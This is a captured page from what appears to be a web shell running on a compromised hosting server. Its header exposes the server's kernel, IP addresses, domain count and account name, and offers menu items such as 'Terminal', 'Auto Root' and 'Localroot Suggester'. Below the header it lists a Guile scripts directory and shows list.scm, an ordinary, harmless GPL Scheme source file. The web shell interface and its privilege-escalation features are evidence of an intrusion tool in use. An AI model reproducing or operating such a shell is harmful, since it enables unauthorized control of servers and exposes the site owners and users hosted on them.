Linux 98.203.178.68.host.secureserver.net 4.18.0-553.164.1.el8_10.x86_64 #1 SMP Thu Sep 17 04:21:10 EDT 2026 x86_64
Apache
Server IP : 68.178.203.98 & Your IP : 216.73.217.121
Domains : 108 Domain
User : lostrivercommuni
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
guile /
2.0 /
scripts /
Delete
Unzip
Name
Size
Permission
Date
Action
api-diff.scm
7.49
KB
-rw-r--r--
2019-10-13 01:10
autofrisk.scm
7.67
KB
-rw-r--r--
2019-10-13 01:10
compile.scm
7.5
KB
-rw-r--r--
2019-10-13 01:10
disassemble.scm
1.39
KB
-rw-r--r--
2019-10-13 01:10
display-commentary.scm
2.39
KB
-rw-r--r--
2019-10-13 01:10
doc-snarf.scm
14.84
KB
-rw-r--r--
2019-10-13 01:10
frisk.scm
11.44
KB
-rw-r--r--
2019-10-13 01:10
generate-autoload.scm
5.74
KB
-rw-r--r--
2019-10-13 01:10
help.scm
6.28
KB
-rw-r--r--
2019-10-13 01:10
lint.scm
9.62
KB
-rw-r--r--
2019-10-13 01:10
list.scm
3.15
KB
-rw-r--r--
2019-10-13 01:10
punify.scm
2.88
KB
-rw-r--r--
2019-10-13 01:10
read-rfc822.scm
4.96
KB
-rw-r--r--
2019-10-13 01:10
read-scheme-source.scm
11.68
KB
-rw-r--r--
2019-10-13 01:10
read-text-outline.scm
10.41
KB
-rw-r--r--
2019-10-13 01:10
scan-api.scm
8.09
KB
-rw-r--r--
2019-10-13 01:10
snarf-check-and-output-texi.scm
9.93
KB
-rw-r--r--
2019-10-13 01:10
snarf-guile-m4-docs.scm
2.86
KB
-rw-r--r--
2019-10-13 01:10
summarize-guile-TODO.scm
8.25
KB
-rw-r--r--
2019-10-13 01:10
use2dot.scm
3.92
KB
-rw-r--r--
2019-10-13 01:10
Save
Rename
;;; List --- List scripts that can be invoked by guild -*- coding: iso-8859-1 -*- ;;;; Copyright (C) 2009, 2010, 2011, 2012 Free Software Foundation, Inc. ;;;; ;;;; This library is free software; you can redistribute it and/or ;;;; modify it under the terms of the GNU Lesser General Public ;;;; License as published by the Free Software Foundation; either ;;;; version 3 of the License, or (at your option) any later version. ;;;; ;;;; This library is distributed in the hope that it will be useful, ;;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;;;; Lesser General Public License for more details. ;;;; ;;;; You should have received a copy of the GNU Lesser General Public ;;;; License along with this library; if not, write to the Free ;;;; Software Foundation, Inc., 51 Franklin Street, Fifth Floor, ;;;; Boston, MA 02110-1301 USA ;;; Commentary: ;; Usage: list ;; ;; List scripts that can be invoked by guild. ;;; Code: (define-module (scripts list) #:use-module (srfi srfi-1) #:export (list-scripts)) (define %include-in-guild-list #f) (define %summary "An alias for \"help\".") (define (directory-files dir) (if (and (file-exists? dir) (file-is-directory? dir)) (let ((dir-stream (opendir dir))) (let loop ((new (readdir dir-stream)) (acc '())) (if (eof-object? new) (begin (closedir dir-stream) acc) (loop (readdir dir-stream) (if (or (string=? "." new) ; ignore (string=? ".." new)) ; ignore acc (cons new acc)))))) '())) (define (strip-extensions path) (or-map (lambda (ext) (and (string-suffix? ext path) ;; We really can't be adding e.g. ChangeLog-2008 to the set ;; of runnable scripts, just because "" is a valid ;; extension, by default. So hack around that here. (not (string-null? ext)) (substring path 0 (- (string-length path) (string-length ext))))) (append %load-compiled-extensions %load-extensions))) (define (unique l) (cond ((null? l) l) ((null? (cdr l)) l) ((equal? (car l) (cadr l)) (unique (cdr l))) (else (cons (car l) (unique (cdr l)))))) (define (find-submodules head) (let ((shead (map symbol->string head))) (unique (sort (append-map (lambda (path) (fold (lambda (x rest) (let ((stripped (strip-extensions x))) (if stripped (cons stripped rest) rest))) '() (directory-files (fold (lambda (x y) (in-vicinity y x)) path shead)))) %load-path) string<?)))) (define (list-scripts . args) (for-each (lambda (x) ;; would be nice to show a summary. (format #t "~A\n" x)) (find-submodules '(scripts)))) (define (main . args) (apply (@@ (scripts help) main) args))